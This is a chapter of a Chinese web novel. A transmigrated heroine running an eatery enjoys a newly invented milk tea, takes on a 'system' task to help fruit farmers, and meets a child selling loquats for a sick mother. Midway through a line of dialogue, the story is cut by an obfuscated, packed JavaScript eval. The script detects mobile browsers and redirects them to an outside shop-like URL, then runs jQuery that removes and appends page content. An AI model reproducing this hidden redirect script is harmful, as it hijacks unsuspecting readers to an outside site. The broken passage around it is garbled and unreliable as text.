阎祈平去的地方不是食肆,也不是会馆。
而是去年落雪之时,二人漫步陈情的街道。
被夏日追赶而来的春风不似当日寒冷,街道上的行人已经有三两个穿上了夏布短打。
选对了。
街边一家书店门口,阎祈平看到了惊喜万分的有禄。
紧忙做了噤声的手势,用平生最灵活的身法,阎祈平走进书店,靠近张萧散。
他正捧着一本书,看得入迷。
“夫君看什么呢?”
本以为能制造难得的甜意互动,却没想到张消散猛地合上了书。
贴近的阎祈平,清楚地看到了他紧缩的瞳孔。
不过他的惊恐只有一瞬,接着就立刻被喜悦替代。
阎祈平扫了一眼书名,《断桥蛇缘》,像是本志怪话本,想来夫君是被书中故事吓到了。
便没多在意,带着满脸幸福的张萧散去往食肆。
“夫人怎么知道为夫在那里的?”
“肯定是夫人与我心有灵犀。”
“嗯。”
一路上,张萧散自问自答了无数遍,阎祈平也耐心地应了无数遍。
二人就这样聊到食肆门口,见童样与魏添秧正绕着甜婆婆的摊位鼓捣着什么。
“祈平姐,快来尝尝,我用余下的食材做的新品。”
“你们这是?”
“童样做了罐罐汤,我们就借了婆婆的糕点摊摆着卖卖看。”
“罐罐汤?”
带着疑惑,阎祈平凑近摊位。
罐子是先前采购的空置的调料罐子,罐口用油纸和棉线封好。
从外观上看不出所以然,阎祈平正要细问,布置好摊位的童样直接打开了一罐递来。
“阎姥联系的奶商近些日子送了更多的奶,放着容易坏了,我便向她讨教了存储的办法,这是按她的方子做的酸奶。”
“这是咸梅子汤,这罐是红薯枇杷糖水。”
看着童样又连开两罐,奶香、果香扑鼻而来。
“奶茶?”
“是听奶商说过奶茶,咸油汤品不宜冷食,我便没做。祈平姐要是感兴趣,我去试试搞一锅?”
“不必不必,”阎祈平放下各尝了一口的罐罐茶,“我说的不是那个加肉的奶茶。”
又迫不及待捧起酸奶抿了一口,“将奶和茶叶一起煮,再加入糖或者果酱,最好加点糯米丸子,这种奶茶。”
看着童样若有所思的表情,阎祈平心中期待渐升,“能做吗?”
“我试试。”
童样似乎从阎祈平的话中受到启发,将摊位交给魏添秧回到了后厨。
食肆晚餐时间照常营业,门口的罐罐茶以堪比大碗凉茶的亲民价格销售一空。
可带着马上就能喝到奶茶这样的期待,阎祈平调酒也有些心不在焉。
不得不说,高糖高热量的食物是人类刻在基因里的渴望。
奶茶这种东西,阎祈平只在前世十八岁生日时,与母亲共饮过一杯。
但它的味道,阎祈平现在都记得。
古代的饮食实在健康,连吃裹了蜜的糕点也要配甘或咸的茶,她好想这一口啊。
在第八次向客人道歉之后,阎祈平听从张萧散的建议,暂时挂了吧台歇业的牌子。
正适时,童样的第二版奶茶被魏添秧送了上来。
“糯米丸子分不出手做,就直接加了红薯糖水里的红薯块,祈平姐快尝尝。”
“嗯!——”
只一口,阎祈平便瞪大了眼,就是这个味道,焦糖奶茶的味道。
“剩下的红薯块倒不出来,要是有吸管就好了。”
“是吧,要是有荷叶杆吸管或者吸管杯子就好了。”
饭点一过,客人见少,童样做完了最后一道菜也跟着上了二楼。
她应着阎祈平的话,脑中继续思考改进的方向。
就见阎祈平周围的人,都愣愣看着她的祈平姐。
“这是什么反应?”
“祈平姐三口就喝完了,奶茶真有这么好喝?童样,锅里还有吗?”
“有的。”
“给我也来一份,这个奶茶。”“我也要!多少钱一罐子?”......
“客人们别急,再有也只有一锅。不如大家只先尝一口,不收钱,若是大家喜欢,我明日多采买些材料多做。”
见大家如此热情,童样看到了一条金灿灿的财路,她靠近阎祈平比了个大拇指。
“不愧是祈平姐,一句话就是一个发财的路数。”
但阎祈平现在满心满眼只有奶茶,“童样你是怎么煮的?味道太对了!”
“我先用糖炒了茶叶,稍微加了一些干花,果真好喝?”
“实在好喝!”
出锅前童样也不是没有尝过,确实美味,但见阎祈平如此,又忍不住领了一小杯魏添秧兄妹送上来的奶茶。
周围客人半是好奇半是疑惑。
张萧散则是心中不满,想不通小小饮品为何能这般调动夫人的心神。
但在他们喝了一口后,都一同加入到瞪眼长叹的阵营。
“采买,必须采买,明天我先订两罐,不,五罐!”
“我也订!”“我也......”
“不忙,各位,再好吃的东西也不宜多食,我们食肆又跑不了是不是。”
童样张罗着客人,阎祈平则联络着系统。
[配方,有没有奶茶的配方,我许愿要个奶茶配方大全。]
【要得要得,先把上个愿望的活路做了来。】
[成,你说。]
【咱们寻三个果农,给他们每人把心头事办了。】
犒劳果农,帮他们实现愿望,阎祈平记下了。
这次她尤其积极,主动接下了奶茶材料采买的活路。
第二日清早,张萧散刚练完武,阎祈平收拾完毕,二人出了门。
有禄驾马车出发,墨冼则照常暗中跟随。
马车内阎祈平盘算着怎样开口问果农。
时不时摆弄环抱住自己的,张萧散的手。
就觉车厢一阵摇晃,脑袋顶传来和下巴相撞的痛处。
缓了缓,挪开张萧散的掌心,阎祈平钻出马车张望。
“此山是我开,此树我娘栽,要想从此过!留下买果财!”
不是路险也不是山匪,一个扎着冲天辫的小娃娃,手握一根长木棍拦在马车前。
看清是奶娃娃,正要出面的墨冼又退了回去,好笑地搓捻手中暗器。
“小娃娃,知不知道这样多危险。”
有禄脸色铁青,见阎祈平二人出来,又立刻告罪。
小孩见到阎祈平身后的张萧散,被吓得后退了一步,在撞到背后的竹筐时,又心一横上前。
“你们买不买果子?不买就别想过去。”
“嘿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836775|186305||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,你个小娃娃不学好......”
“有禄,”叫住要动手的有禄,阎祈平走近,拿起一个枇杷,“这是你娘种的?”
“对!可甜了,姐姐可以尝尝。”
“夫人,小心下了毒。”
“你家的果子才有毒!姐姐还是趁早换个心地好的丈夫。”
一大一小幼稚吵架时,薄皮多汁的枇杷已经入了阎祈平的口。
果真好吃。
“娃娃,你娘是果农吗?”
“自然。”
“那枇杷我买了,这里的几筐我全买了,但是你得带我去见你娘。”
娃娃咧开缺了牙齿的嘴,但听完阎祈平的话后,表情又凝滞了。
只见朝天辫一晃一晃,最终往前猛一点。
“好,姐姐能不能,替我保密。”
“保密什么?”
“就是,拦路。”娃娃的脸色比绑辫子的红绳还要红,嘴里嘟囔出两个词。
“那不行,不然你自己回家坦白。”
“背着你娘当土匪,回家等吃竹条炒肉吧。”
张萧散恶魔低语,娃娃却只是失落,而不是心虚害怕。
“我娘要是能打得动我就好了。”
阎祈平几人疑惑之时,娃娃一抹脸,给带了路。
路旁就是枇杷林,穿过果林有一间不小的茅草屋。
药香在进门前就钻入了阎祈平几人的鼻腔,茅草屋内,躺着一位皱眉憔悴的妇人。
“娘,有大老板买我们家的枇杷,她想见见你。”
妇人痛呼一声,艰难转过头,挣扎着想要起身。
“别动,躺着吧姐。我是见一个小娃娃在路边卖枇杷,就来看看。”
“多谢,我犯了腰病,当家的为了药钱去外地做工了,家里的担子压在孩子身上,实在惭愧。”
“什么做工,就是跟有钱人跑了,娘你还念着那个人。”
“住口!家丑不可外扬,你......”
“别吵架,相逢就是有缘,这样吧,我替姐实现一个愿望,解决一个麻烦,之后我们食肆的枇杷都从姐这买。”
“这怎么好,怎么能受老板如此恩惠。”
阎祈平也觉得自己说得突兀,思索过后解释道:
“我是当朝乐平夫人,此行想为我娘积德祈福,便想着从帮你们一家开始,何况枇杷香甜难得,我诚心购买。”
“是乐平夫人,阎祈平?”
“正是。”
“求乐平夫人带走我儿,为奴为婢都使得。”
“娘!你说什么呢?我娘病糊涂了,乐平夫人别听她的,帮她治病吧,求乐平夫人帮她治病。”
“母子分离可就是作恶了,不如说说是什么病吧。”
原来妇人的腰病正是所谓腰间盘突出,而且到了下肢麻木的阶段,若是不得到妥善治疗,接下来恐会不能自理。
“大夫说要花很多钱,而且越拖花得越多,我同乐平夫人签契书,等我挣钱了一定还上。”
娃娃说得焦急,甚至有些语无伦次。
妇人或许是累了,也或许更希望病痛离开的愿望能得到实现,并没有打断孩子的话。
阎祈平做下了会出钱请大夫的承诺,但这到底不是能立刻实现的事。
为了完成系统任务,她还得再找三个果农。
“有啊,我认识的姨姨和叔叔们,都是果农,我带乐平夫人去见。”